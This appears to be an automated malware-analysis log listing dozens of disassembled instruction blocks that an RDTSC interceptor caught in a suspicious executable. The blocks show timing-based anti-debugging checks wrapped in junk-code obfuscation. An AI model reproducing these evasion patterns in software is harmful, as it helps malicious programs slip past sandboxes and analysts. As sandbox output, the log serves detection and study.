Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF3C4 second address: 9EF3D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F4E5C73ECA6h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF3D8 second address: 9EF3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9BBB88 second address: 9BBBB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4E5C73ECB9h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jo 00007F4E5C73ECB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9BBBB4 second address: 9BBBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B4Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F4E5D020B4Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9BBBD4 second address: 9BBBDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9F6579 second address: 9F65A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F4E5D020B53h 0x00000012 jmp 00007F4E5D020B4Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9F65A7 second address: 9F65AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FA782 second address: 9FA786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FA8FF second address: 9FA945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F4E5C73ECABh 0x0000000c pop eax 0x0000000d jmp 00007F4E5C73ECB9h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 jmp 00007F4E5C73ECB3h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FA945 second address: 9FA95B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jo 00007F4E5D020B46h 0x0000000f jc 00007F4E5D020B46h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FA95B second address: 9FA97B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4E5C73ECA6h 0x00000009 jmp 00007F4E5C73ECB5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FB034 second address: 9FB03A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FB1A9 second address: 9FB1B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 jo 00007F4E5C73ECB2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FEA4D second address: 9FEA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FEA51 second address: 9FEA57 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FEA57 second address: 9FEA61 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E5D020B4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FEA61 second address: 9FEA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnp 00007F4E5C73ECA6h 0x00000014 popad 0x00000015 jmp 00007F4E5C73ECB5h 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FEA92 second address: 9FEAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4E5D020B46h 0x0000000a popad 0x0000000b jp 00007F4E5D020B4Ch 0x00000011 popad 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 jmp 00007F4E5D020B4Fh 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FF15D second address: 9FF161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FF699 second address: 9FF69F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FF78C second address: 9FF792 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FF792 second address: 9FF7AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4E5D020B46h 0x00000009 jnl 00007F4E5D020B46h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FFBA3 second address: 9FFBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FFCFA second address: 9FFCFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FFCFE second address: 9FFD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FFD04 second address: 9FFD0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FFD0A second address: 9FFD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FFD0E second address: 9FFD12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0024F second address: A0025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0025D second address: A00316 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4E5D020B4Bh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F4E5D020B48h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D181Ah], edx 0x00000030 push 00000000h 0x00000032 jmp 00007F4E5D020B58h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F4E5D020B48h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 jmp 00007F4E5D020B4Eh 0x00000058 xchg eax, ebx 0x00000059 jl 00007F4E5D020B57h 0x0000005f jmp 00007F4E5D020B51h 0x00000064 push eax 0x00000065 jl 00007F4E5D020B63h 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F4E5D020B4Bh 0x00000072 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A00B41 second address: A00B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A00B47 second address: A00B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A01A80 second address: A01A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A024D9 second address: A0253F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E5D020B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F4E5D020B48h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov esi, 6CB0F201h 0x0000002f sbb edi, 6DA17136h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F4E5D020B48h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 movzx esi, si 0x00000054 xchg eax, ebx 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0253F second address: A0255E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A039D9 second address: A039DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A039DE second address: A039E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F4E5C73ECA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0378C second address: A037A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A06767 second address: A0676B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0676B second address: A0676F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A07799 second address: A077B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A08897 second address: A0889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0A777 second address: A0A787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0A787 second address: A0A80C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b add di, 596Ah 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D25C0h], esi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F4E5D020B48h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 call 00007F4E5D020B59h 0x00000039 mov di, 9CFEh 0x0000003d pop ebx 0x0000003e xchg eax, esi 0x0000003f jmp 00007F4E5D020B55h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F4E5D020B4Ah 0x0000004c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0A80C second address: A0A811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0B8EE second address: A0B8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A06966 second address: A0696A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A079DE second address: A079FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F4E5D020B4Ch 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A11AE9 second address: A11B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5C73ECB5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F4E5C73ECA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A11B0B second address: A11B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A11B0F second address: A11B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+1244C60Dh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F4E5C73ECA8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a movsx ebx, di 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007F4E5C73ECA8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 mov di, dx 0x0000004c xchg eax, esi 0x0000004d jno 00007F4E5C73ECB0h 0x00000053 push eax 0x00000054 jc 00007F4E5C73ECAEh 0x0000005a push ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0AA7C second address: A0AA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F4E5D020B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0BAA5 second address: A0BAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0C9B3 second address: A0C9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0BAAA second address: A0BABC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F4E5C73ECA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0C9B7 second address: A0C9C1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E5D020B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A12B0C second address: A12B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx edi, cx 0x0000000c mov dword ptr [ebp+122D1E5Eh], edi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F4E5C73ECA8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e xor ebx, 2E904EF6h 0x00000034 mov dword ptr [ebp+1245028Fh], eax 0x0000003a push 00000000h 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0DB4D second address: A0DB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0C9C1 second address: A0C9D2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4E5C73ECA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A12B54 second address: A12B66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0DB52 second address: A0DB58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A12B66 second address: A12B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0DB58 second address: A0DB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A12B6A second address: A12B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0CAA8 second address: A0CAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0CAAC second address: A0CAB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0CAB2 second address: A0CAC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4E5C73ECA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F4E5C73ECA8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A14BB5 second address: A14BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A14BBB second address: A14BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A17270 second address: A17274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A17274 second address: A17278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A17278 second address: A1727E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1727E second address: A172A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E5C73ECB4h 0x00000008 jmp 00007F4E5C73ECAEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F4E5C73ECACh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0FB58 second address: A0FB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0FB5C second address: A0FB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A11D31 second address: A11D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A11D35 second address: A11D3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0EB5B second address: A0EB65 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4E5D020B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A0EB65 second address: A0EB6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1A7DE second address: A1A7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1A7E2 second address: A1A7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F0C7 second address: A1F0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4E5D020B4Bh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007F4E5D020B46h 0x00000018 pushad 0x00000019 popad 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F3CD second address: A1F3EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 jns 00007F4E5C73ECA6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4E5C73ECADh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F3EC second address: A1F3F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4E5D020B52h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
